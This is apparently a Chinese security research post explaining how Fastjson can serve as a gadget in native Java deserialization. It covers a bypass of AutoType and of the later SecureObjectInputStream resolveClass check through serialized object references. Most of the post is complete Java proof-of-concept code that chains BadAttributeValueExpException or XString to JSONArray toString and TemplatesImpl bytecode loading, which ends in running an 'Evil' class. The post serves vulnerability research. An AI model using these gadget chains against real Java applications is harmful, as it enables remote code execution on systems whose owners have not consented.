Fastjson与原生反序列化

前言

在高版本的Fastjson利用中,除了利用黑名单外的类,还有什么其它的办法能够绕过AutoType呢?实际上,Fastjson自身其实也会在JDK原生反序列化中作为一个Gadget来触发漏洞,利用这一特性就可以绕过高版本Fastjson中对Autotype的限制。

初探

由于是利用Fastjson实现原生反序列化,那么需要先知道在Fastjson包中有哪些类继承了Serializable接口,利用IDEA搜一下发现JSONArrayJSONObject这两个类符合条件。

JSONArray和JSONObject这两个类虽然实现了Serializable接口,但是自身并没有实现readObject方法的重载,并且继承的JSON类同样没有readObject方法。

因此,只能通过其他类的readObject做中转,从而触发JSONArray、JSONObject或者JSON类当中的某个方法,最终实现利用链构造。

在上一篇文章Cursory Analysis Of Fastjson,在分析parse突破特殊getter调用限制时,提到了可以利用JSONObject#toString来触发任意类的getter方法,那么能不能利用这个特性来实现FastJson在原生反序列化当中的利用呢?

既然可以触发任意类的getter方法,不难想到可以直接利用TemplatesImpl类的getOutputProperties方法实现字节码动态加载来触发恶意方法利用。那么现在就只需要找到JDK原生反序列化触发toString方法的Gadget,这也是一个很熟悉的知识点了,可以利用下面两条Gadget来调用toString方法:

  1. BadAttributeValueExpException#readObject -> JSONObject#toString

  1. HashMap#readObject -> XString#equals -> JSONObject#toString

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
public class FastjsonSelfUnser {
public static void main(String[] args) throws Exception {
BadAttributeValueExpException badAttributeValueExpExceptionPoc = getBadAttributeValueExpExceptionPoc();
HashMap hashMap = getXStringPoc();

try {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ThreeCustomObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(hashMap);
outputStream.flush();
outputStream.close();

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream inputStream = new ObjectInputStream(byteArrayInputStream);
inputStream.readObject();
inputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}

public static BadAttributeValueExpException getBadAttributeValueExpExceptionPoc() throws Exception {
JSONArray jsonArray = new JSONArray();
jsonArray.add(getTemplatesImpl());
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", jsonArray);

return badAttributeValueExpException;
}

public static HashMap getXStringPoc() throws Exception {
JSONArray jsonArray = new JSONArray();
jsonArray.add(getTemplatesImpl());
XString xString = new XString("");

HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
map1.put("aa", jsonArray);
map1.put("bB", xString);
map2.put("aa", xString);
map2.put("bB", jsonArray);

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(map1, "1");
hashMap.put(map2, "1");

return hashMap;
}

public static TemplatesImpl getTemplatesImpl() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
byte[] code = clazz.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_name", "Evil");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

return templates;
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}

再探

在上文中实现了Fastjson作为原生反序列化的Gadget利用,但是上文的POC仅限于fastjson 1.2.48版本之前,这是因为从1.2.49版本开始,JSONArray与JSONObject拥有了自己的readObject方法。

此时的反序列化的调用过程如下,先触发一次不安全的ObjectInputStream的readObject,然后当调用JSONArray/JSONObject的Object方法触发反序列化时,会将这个反序列化过程委托给SecureObjectInputStream进行处理,触发resolveClass实现对恶意类的拦截。

1
2
3
4
5
// 不安全的反序列化过程
ObjectInputStream -> readObject -> SecureObjectInputStream -> readObject -> resolveClass

// 常规防御反序列过程
TestInputStream -> readObject -> resolveClass
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String name = desc.getName();
if (name.length() > 2) {
int index = name.lastIndexOf('[');
if (index != -1) {
name = name.substring(index + 1);
}
if (name.length() > 2 && name.charAt(0) == 'L' && name.charAt(name.length() - 1) == ';') {
name = name.substring(1, name.length() - 1);
}

if (TypeUtils.getClassFromMapping(name) == null) {
ParserConfig.global.checkAutoType(name, null, Feature.SupportAutoType.mask);
}
}
return super.resolveClass(desc);
}

因此,当第一次的ObjectInputStream#readObject并未进行安全防御时,会进入SecureObjectInputStream来处理反序列化流程,此时如果能绕过resolveClass,那么就依旧能实现恶意的反序列化攻击。

为了实现这个目的,先看看在什么情况下会调用resolveClass方法来实现对恶意类的拦截,在SecureObjectInputStream#resolveClass方法处下断点,查看一下堆栈信息。

1
2
3
4
5
6
7
8
9
resolveClass:586, JSONObject$SecureObjectInputStream (com.alibaba.fastjson)
readNonProxyDesc:1613, ObjectInputStream (java.io)
readClassDesc:1518, ObjectInputStream (java.io)
readOrdinaryObject:1774, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
defaultReadFields:2000, ObjectInputStream (java.io)
defaultReadObject:501, ObjectInputStream (java.io)
readObject:486, JSONArray (com.alibaba.fastjson)
...

在java.io.ObjectInputStream#readObject0方法中,会根据读到的bytes中tc的数据类型进行对应的处理来恢复部分对象。在Switch-Case语句中,大部分方法最终都会调用readClassDesc去获取类的描述符,而不会调用readClassDesc方法的分支有TC_NULL、TC_REFERENCE、TC_STRING、TC_LONGSTRING、TC_EXCEPTION,其中NULL、STRING与LONGSTRING类型没有什么用处,EXCEPTION类型则是解决序列化终止相关,因此只剩下REFERENCE类型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
switch (tc) {
case TC_NULL:
return readNull();

case TC_REFERENCE:
return readHandle(unshared);

case TC_CLASS:
return readClass(unshared);

case TC_CLASSDESC:
case TC_PROXYCLASSDESC:
return readClassDesc(unshared);

case TC_STRING:
case TC_LONGSTRING:
return checkResolve(readString(unshared));

case TC_ARRAY:
return checkResolve(readArray(unshared));

case TC_ENUM:
return checkResolve(readEnum(unshared));

case TC_OBJECT:
return checkResolve(readOrdinaryObject(unshared));

case TC_EXCEPTION:
IOException ex = readFatalException();
throw new WriteAbortedException("writing aborted", ex);

case TC_BLOCKDATA:
case TC_BLOCKDATALONG:
if (oldMode) {
bin.setBlockDataMode(true);
bin.peek(); // force header read
throw new OptionalDataException(
bin.currentBlockRemaining());
} else {
throw new StreamCorruptedException(
"unexpected block data");
}

case TC_ENDBLOCKDATA:
if (oldMode) {
throw new OptionalDataException(true);
} else {
throw new StreamCorruptedException(
"unexpected end of block data");
}

default:
throw new StreamCorruptedException(
String.format("invalid type code: %02X", tc));
}

此时,如果当前反序列化数据下一位仍然是TC_CLASSDESC,则会在readNonProxyDesc方法中触发resolveClass方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private ObjectStreamClass readClassDesc(boolean unshared)
throws IOException
{
byte tc = bin.peekByte();
switch (tc) {
case TC_NULL:
return (ObjectStreamClass) readNull();

case TC_REFERENCE:
return (ObjectStreamClass) readHandle(unshared);

case TC_PROXYCLASSDESC:
return readProxyDesc(unshared);

case TC_CLASSDESC:
return readNonProxyDesc(unshared);

default:
throw new StreamCorruptedException(
String.format("invalid type code: %02X", tc));
}
}

上文提到了不会调用readClassDesc方法的分值重只剩下REFERENCE类型,那么如何在JSONArray/JSONObject对象反序列化恢复对象时,让恶意类成为引用REFERENCE类型,从而绕过resolveClass的检查呢?

在java.io.ObjectOutputStream#writeObject0方法中存在一个判断,当再次写入同一对象时,如果在handles这个哈希表中查到了映射,就会通过writeHandle方法将重复对象以REFERENCE类型写入,因此向List、Set及Map类型中添加同样对象时即可成功利用。

Payload构建思路如下:

  1. 序列化时,先将templates加入ArrayList,后续在JSONArray中再次序列化TemplatesImpl时,由于在handles这个哈希表中查到了映射,后续则会以引用形式输出。
  2. 反序列化时,ArrayList先通过readObject恢复TemplatesImpl对象,之后恢复BadAttributeValueExpException对象,在恢复过程中,由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象,会触发JSONArray/JSONObject的readObject方法,将这个过程委托给SecureObjectInputStream,在恢复JSONArray/JSONObject中的TemplatesImpl对象时,由于此时的第二个TemplatesImpl对象是引用类型,通过readHandle恢复对象的途中不会触发resolveClass,由此实现了绕过。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
public class FastjsonSelfUnserAll {
public static void main(String[] args) throws Exception {
HashMap badAttributeValueExpExceptionPoc = getBadAttributeValueExpExceptionPoc();
HashMap xStringPoc = getXStringPoc();

try {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ThreeCustomObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(xStringPoc);
// System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
outputStream.flush();
outputStream.close();

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream inputStream = new ObjectInputStream(byteArrayInputStream);
inputStream.readObject();
inputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}

public static HashMap getBadAttributeValueExpExceptionPoc() throws Exception {
TemplatesImpl templatesImpl = getTemplatesImpl();
JSONArray jsonArray = new JSONArray();
jsonArray.add(templatesImpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", jsonArray);

HashMap hashMap = new HashMap();
hashMap.put(templatesImpl, badAttributeValueExpException);
return hashMap;
}

public static HashMap getXStringPoc() throws Exception {
JSONArray jsonArray = new JSONArray();
jsonArray.add(getTemplatesImpl());
XString xString = new XString("");

HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
map1.put("aa", jsonArray);
map1.put("bB", xString);
map2.put("aa", xString);
map2.put("bB", jsonArray);

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(map1, "1");
hashMap.put(map2, "1");

HashMap map = new HashMap();
map.put(getTemplatesImpl(), xString);

return map;
}

public static TemplatesImpl getTemplatesImpl() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
byte[] code = clazz.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_name", "Evil");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

return templates;
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}

可以看到在JSONArray中再次序列化TemplatesImpl时,由于在handles这个哈希表中查到了映射,后续则会调用writeHandle方法以引用形式输出。

思考

上文提到了是在先触发不安全的ObjectInputStream#readObject方法,那如果此时的反序列化的入口为一个继承ObjectInputStream的类并重写resolveClass方法的自定义类时,那该如何进行绕过呢?

思路也很简单,直接利用未被列入黑名单的二次反序列化利用类即可绕过。

参考

FastJson与原生反序列化

FastJson与原生反序列化(二)